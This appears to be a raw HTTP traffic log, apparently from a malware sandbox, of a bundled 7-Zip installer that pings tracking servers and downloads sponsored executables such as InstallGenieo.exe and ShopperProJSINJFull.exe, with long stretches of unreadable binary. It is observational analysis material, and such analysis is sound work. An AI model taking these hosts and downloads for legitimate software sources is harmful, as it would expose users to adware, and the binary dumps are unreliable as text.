Content-Length: 35
Age: 806386
Alternate-Protocol: 80:quic,p=0.02
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Wed, 04 Feb 2015 20:01:19 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 806386..Alternate-Protocol: 80:quic,p=0.02..Cache-Control:
 private, no-cache, no-cache=Set-Cookie, proxy-revalidate..GIF89a.....
........,...........D..;..



GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=1&index_in_screen=1&index_in_session=1&display_height=170&0.8521017426330562 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.1.10.1423886295; __utmc=1; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:59:01 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:59:01 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=4&index_in_screen=1&index_in_session=4&0.3634406132951685 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.833397082.1423886223.1423886223.1423886223.1; __utmb=1.1.10.1423886223; __utmc=1; __utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:57 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:57:57 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=1&index_in_screen=1&index_in_session=1&0.49104335703009616 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.833397082.1423886223.1423886223.1423886223.1; __utmb=1.2.10.1423886223; __utmc=1; __utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:58 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:57:58 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET / HTTP/1.1
Host: VVV.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=Z8jeVP-sNouu8we_84CgDA
Content-Length: 262
Date: Sat, 14 Feb 2015 04:00:39 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic,p=0.08
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=Z8jeVP-sNouu
8we_84CgDA">here</A>...</BODY></HTML>..HTTP/1.1 3
02 Found..Cache-Control: private..Content-Type: text/html; charset=UTF
-8..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=Z8jeVP-sNouu8we_8
4CgDA..Content-Length: 262..Date: Sat, 14 Feb 2015 04:00:39 GMT..Serve
r: GFE/2.0..Alternate-Protocol: 80:quic,p=0.08..<HTML><HEAD&g
t;<meta http-equiv="content-type" content="text/html;charset=utf-8"
>.<TITLE>302 Moved</TITLE></HEAD><BODY>.<
;H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://
VVV.google.com.ua/?gfe_rd=cr&ei=Z8jeVP-sNouu8we_84CgDA">here<
;/A>...</BODY></HTML>....



GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=741306-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: DoYlz3uJBabBGR5cGukmq5bZ981jkZjQJYGiWerwZLB5WMzETH3heUfGJb6vLoJj
x-amz-request-id: 5D0027EA535DFE4F
Date: Sat, 14 Feb 2015 03:58:20 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 741306-988407/988408
Content-Type: application/octet-stream
Content-Length: 247102
Server: AmazonS3
......yM.[....~.....8.^..$5*iD..8.'.~N.1.Dfm.Pz.\..M.a.. .h#....H..&..
.@..............*P......\..d....#V..Q...p7.sY....8FX.....k...~...P....
[email protected].].....y..N.k.%U..L......8..?.....8..x.v...{.e.. .p.Zp..O...JBe.H.
.M.\(..y.d.&.B....H*........5...........uZ...JfY(..;.x.......k..w1....
..>.n.&$I....~K...M......w..#A....D..ms.z...zx.a6.5.BY..k.f...$....
.H|..^.....9...F.m.u-...'...H.w.eYA......{5....R."..d#..z:..0......H..
.....su..........t.5.....8.t....T1...C7.9y......_wO_...b.....)/....^..
....NH...7.;i...U..o...u..k#o....\Z..Ha^..T.H"'......s.........1...U.{
g..r..*o...^.....t%B....o.DV......!...8.....V @j....P.4o.z\..B.8S $z8.
/.x...~sw?ol..f.0}...a..`u.A...(n..o...:.).Ga..h^.jZ.'.c...q..^$..)...
..n.....y~~s[50...E.. ...S._A.F.}...F.e.shd<.4fL...j....|E...'U..e.
B.....Q.!J...K..Q._......6ME....b...`8.!.5.E..........'1.....2.D.SA.Lo
.]../..d.........SP......-n..g*.k.../....G]{..R...6s.....j.;..M.4.....
..s8.Q~.jbx.o.!..G.O... ..C....).:..........n".c.=.q].e..2.D....J..lFn
y../-....e....?......3`.|.......n.A...|h$;.....wu...1...4z9.t..#..f.&g
t;....A.).._..J..Bs/5.b_....C.}.....&...nU?n...Lb.hH....H.o...........
.RE.{...=.v.sjw.m!4f..AC).....1..F..A*..s.......;z^NMQ.P..D.SEf.......
AM........$.qzgM......=.....A.8..y...,......{..|......!...Q....u......
........m...8?......q...t.w...M.yE.D.K.h.........).......|....#...3...
.[.6.G......C..e..T.....!......k=...JuEzV./.w..."Cj.0......~T.N.......
.O.[..G5o..........Q...V.c..H.......'z..mX1.......}w.NE.K....j.1T=.)}.
....zS..9...v......A....$...........r..dc.."r.0..l..h..H.......;..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=35695-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 249863
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 35695-285557/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 1WviIH3pr9uIHQpYWnI-vhmPPe_bK6FCPpFHS5cUQcrdTGPM94Ejig==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................
<<< skipped >>>


GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1
Host: download.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=900000-1199999
Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1
Connection: keep-alive


HTTP/1.1 302 Found
Server: Apache
X-Backend-Server: bouncer2.webapp.scl3.mozilla.com
Cache-Control: max-age=60
Content-Type: text/html; charset=UTF-8
Date: Sat, 14 Feb 2015 04:00:20 GMT
Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
Keep-Alive: timeout=3, max=453
Content-Length: 0
Connection: Keep-Alive
X-Cache-Info: cached
HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer2.webapp.
scl3.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Sat, 14 Feb 2015 04:00:20 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=453..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..



GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.wpm HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:01:04 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.43 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:01:04 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.43 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: jUhKlBT48SF/HHhqnWxLKeB2E3nBai4rbwdSOMLfTiB dN8UkBYsVJkvbLYH3c0l
x-amz-request-id: F3232992290F319D
Date: Sat, 14 Feb 2015 03:58:18 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 0-988407/988408
Content-Type: application/octet-stream
Content-Length: 988408
Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 200072
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-200071/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TgffdFyQJPPxJnKgZzqSDVMu5wXqR-O1rcu51Kh85YnZ2YtRpOhHQw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
...........................{........................................s.
[email protected]............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:01 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 250000-499999/4681230
....&.N>..,..q.^}...0.CO....*9.5....H..45.8..jA....i.a...r.>(.._
;y.'...............#.....V..tC`!u.E.....I.c......x........f....~m.W...
|c.m..=........*.#.t..s.Apy....L;h.r.._ywV.G......*.Yh^.T...35...._...
pl....v..!...M.?.~.,.p.o....e..1#c.{nC."a.ct......h.|,)s...e.(..)C..h.
.....q.P##r......Sz.s.c.|....b....NStzc([email protected].).8
.]kW~...t.G.O..9....m.]I=N..Uk....{..R..:.B22.Hl.}.....X'..B.N. .|a.. 
e....t....!...L:.)2...#.(|y}...7R.:L...[......$..d..r...?S..x:5e......
htB{K.4.,.K.......xyd.=.... . ...~/%/&i.)..3...%...19b...--J....M..._.
..i....{`.d........Tz,(=.?._S.^......]...>...u.{......Y#........M..
.Uj.!.b...$....M.rO.'J..`..k0..v......$PClM..-;c. .uD.,....`...F..~0?Z
./.<~.<... .E..W. a/*..............I.w.......E...=.........jo...
.I....@... .%..:p-...Y.....0:...l8, ..r....7......c|'.A9...g..h5.....e
t.v.K..3...P?.\"...C.x........e.J_s.C,'..,.. ..e.w...G.s.....cc..{....
S...k.pp...{.EZG.X....p|.8ZU.%$.pY..k.!.......0T..\4..Ot# Z...DKF-.4.j
.z..Y....%[email protected].;"...Jd.....u.'....M.. F_. ..\.X....).PIB"
[email protected]...~9)..*..1m2!......-]....a.f.v.t...P.u..H
 .....c..dq.... ...T[.....jU&0/...%V...Q..~a..mTR.*.=.{TQ.y.,Z..UP.qz-
y.....`.y4q...|..vp.M..f.&...dE<."u..Ov`.....~..(.M........r}..*o..
..a6.o_b.......8<;..O..D..y..d7.\.@..Ì[email protected];N...........j.x.L.K..
..$\..Z.`mJ.cy.H#.SA.t.....3....... .C...\3.&..4.......>v.}Y|).M...
...2=...........{Q....5...&i. .kD.J...kb...ÞOUP..X.?..K....U....ZV..
....B.1.O...gQ..*...ij\l......E&.L......_...6.W..Y..zY.... s2.<
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:01 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 750000-999999/4681230
.....#D..C0s.'..E).....g(P.,$...}.&...3.>..Cz0A<..,..........K..
....h3..F.....y....d?.d&QD.0.>.S&....P.i......G.R::.;..o.d......"A8
..Vt....|Z.`..f..q6.L........L....W..................!(.q.~m....e..4O,
.|.~./.uL?z..x.\.......9...?......"_.,0yF.!........p8..h.....<.P.\O
a2 ....a.....>[email protected]:.&(......0&......R....d...MC.tv..7./M.X
._Y.....?...Y........w..l..y,M..p....`..hl..:......bY.p.......> :.t
.rlU.'...o...w&kK.,...1..t....v).n...z.....F-3.M ..5.T.. XnAi...W..-D@
....O.B*Q.....a.....@..~.......4......H.<.....ti5c..^..B..`..N.b.d.
....Q.ocs.'C....U.e....i...1.g.y...<.......g<vJ.X.w.@*.'.;.w...\
.M...o6...U..6..<'....c.O\.....-.A.._-:..}iA.7A_..W#p(..G...QLg.e.R
.PZ.f6.>s..09....NX.L?g=9r`...f........k. ..W....M....U'>.y....B
 .:a..s....a.w...RqO.3...._........".).T...D.mm|.5dGH:....H=.....j9.7.
.._.......j.zNe=.V.?...=1Bx...m2.!...u...}t....{..g/...........n.....C
Q.k.4...;r...v.A.G"..\....6.9...N.V...D.|Y(SxGP...a|AE.6c9. ......jr..
|fj..k.|........J........y.`.FVCsk.{7.*..............r.......V.....X=.
p.........].8%ry..>..g.....q...g....l.z..H..b..! 7;,....v.6..c.....
[email protected]%..... Td.......f....wD..=.D...Zw.\..
......h.O.Z..$.4.=.j.>.>#]..k.N....... YS..i..0@....<..VA..Iz
.....A....M....}N.d.P.w...G.%..6.kf..=..D...u..}.*y.5..)?..1q.6.....N.
.D.........}o..&.....s..y....[......M../_.......1D.?...^..{:....,...B.
..j..Z.1.........X..|&_....w...............(..|.c..oLJI3...<1./O...
.8.j.Q. w..\.$......M.n.=..F(.'[email protected].'#E.^'.r....d.@...|.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:02 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1000000-1249999/4681230
.....3...H.V...9!..n.]..|.T.&..m*.....i....\`[email protected]...:....3...
.......E.^[email protected]=I.....4X..........s........B...s.....`u
.[._.f#...aQ....=.....:.ld.T.G).MD.........c .K!.|....L.G...-,.(1.Dv.O
.....%.w%-{.u..m9.....VZl.k!..e......s.bl.t.k....I.i..&n.....g...Y....
8.4.............!ul.....{q[:...~............>,....rR...2.*...wLo..G
].k.......9SQp...*.nI....c.I./ .mLl.p..../.n.o...\[email protected].
.......'!.$X..<...M$...w0.(..8....m....g..X.`.^....L..8.......'....
[email protected].$...C_F.........z.W.1.?V........$..\..../.z.%X{..
....G1....#$.......g.......k(u..G.A.X......s.....G..>..7a....>1]
../..0.!....s.!cKU.....q2..'.".`$..Ji.z.....!.5..5....Ow.`.^......t.HV
&v....... ....l..s...148...U.....t.5j..N...%..o&x.HPO...$c.!..v.p.....
.(V.......(...'.$.aP.].S......TQ`T...-.6..-..~./aS......".o.......@ll.
....K..M.....Z..c..7.B..$.....Lk..K......7..6Y}..n.o.].W......x.mEk..D
...X;..QA.c..o...."c..l.....D.......... x.K))..-1...IN._....WQ.5......
.h.......!.\..#..?R.A..8ap.....Uw.`[l.J;-SA'...8-Cd8F.C..G}....Y...5.0
....A$.....6j.,<>.V......PTYv-..nN..-.K=.......e3.Z..Py."@....[.
.4B)l..57..n.....`....g..X.....(.."9...Xa...]lb.L~..U....qK.l..a.....%
...`Q...5.l...km.L...X.V..6.f.........i.........9v.......!.X/G...{N&.2
X.........._HqC.....>Xlw.....-..b..d.YC...b>..z..a\.__.....AvV..
&....R..p...g...Dx...Z..P0..U.......q..`.~.[.. ."....6.... ......U...B
.(......@......|.......G.%.{..!......o.Vy.K'.0..'..mN...2F.T.0.B...t..
n./Go|...<...<..,w..._....7....,cK$..:.J..{...O...A.......PV
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:02 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1250000-1499999/4681230
-.NQ.ap.8WQ.$........tH...n...S.:t....6`...2.....B..P.g..a..D.....*hrX
.|.[...V=..L.>.....':./...VB.....R>....P....E...4%.Cq.].2.YF=...
........8........a...6.*y.=...i.......y.'o^....S...........<....1/.
....j..%wK."..u.6\v.'....1...d../.In...8...U]0.j..F.....=...t=...x./-.
...9!>...no...n..3?r...)K./......[r.9.y58Co.)...N..8....h~S]...Q..^
..G.. K...S.....).....9.J.... [email protected]@..i....k,
.6.....0..I.x.G.*....z.....fo..o..=A....R.rX.I........r...[.....L<5
..:}Z9.(...pj.}.i........5 .{.d.....a-.H.G...D...V!..*........$....pz.
..:?9..5R.;c.......T..@ p g....d..q.PdyG..N....M......F\\.}#.Q...... .
....q....^u`...r..u*.|8.G...........yD..`'gZ....r.4....H.a...Z.......F
..yl.9>..gU....YA...........R....p8m@.=..E......x.oGJ.n..90.V Toz..
..|M..f.Q(&rn2...V...z.....K.,C.1.-PE [email protected]'....%-....q....
...K........H...L ..~.....0.... .3&......;..Vb...Z#."...h-.*..g.a.9...
....f.8..x...W....e..z%HMx..Htr.&.).C.v.x.G.S.............2..c..pb\2..
....gCH.m....}....4H9.w<3.RH.......a..o1_......k...$-(JW}[email protected].
........".....,..]..Wk.?......0..<.y.r....62.*..u.XO..q:..f.5..-...
k.fd.D{.6....Ox...j..u.....EO.3.....-[=...p.......;..#...r.m_.>....
.8c. .m....j...n.<..&0/.!].2..~......B*..t.A........r...1....$XEO6 
.."... -vC..._.1'...R>.Z..#A.....0.....M.0w5O..9..........t..#G...;
_P.6...hB(.....h....*.u.........6..&......Y.{ ........... Y\.5".... ..
P...j.|..'.hv.}.R~F.H.... 0:.,.....^....b=........7..,.6y.....v[......
CC..)zP..q.l.{./?.J8b.9}.O].:n..N....t..&.B.'R....c.n......=.q:.!d
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:03 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1750000-1999999/4681230
.......9..I0..#..K..%z.V.i<..8q.....{. Q..7....T..Z.0....,.&\....f.
....O..}mI..@]......#..U....3.I..I../.10S$$....M.<..L.....=.7...$P.
........h...M*O.5.....a..QG=8.. 6......dL.........f.{.a`......dkvL.(].
.h<.*....\. ....#..h..#..<9....#S.}......(..Q..=.|h.k.[f../.Y."v
u.<..d.....".}.."".!U......5.M.*A.}}[email protected]|..$*&..h
5.:...g...Oq.. .ZH.zv]....x.A)_...m.e.H......0...!.:~ .$\[email protected]/
._..;......N.......V>.......W....Rsc...C.Xh..a1.P....O.0Z..JQ..K...
...T.w^H..M..!.V.S.........W.=.m..of.p.....Xp.."1)..........$:.k...4~.
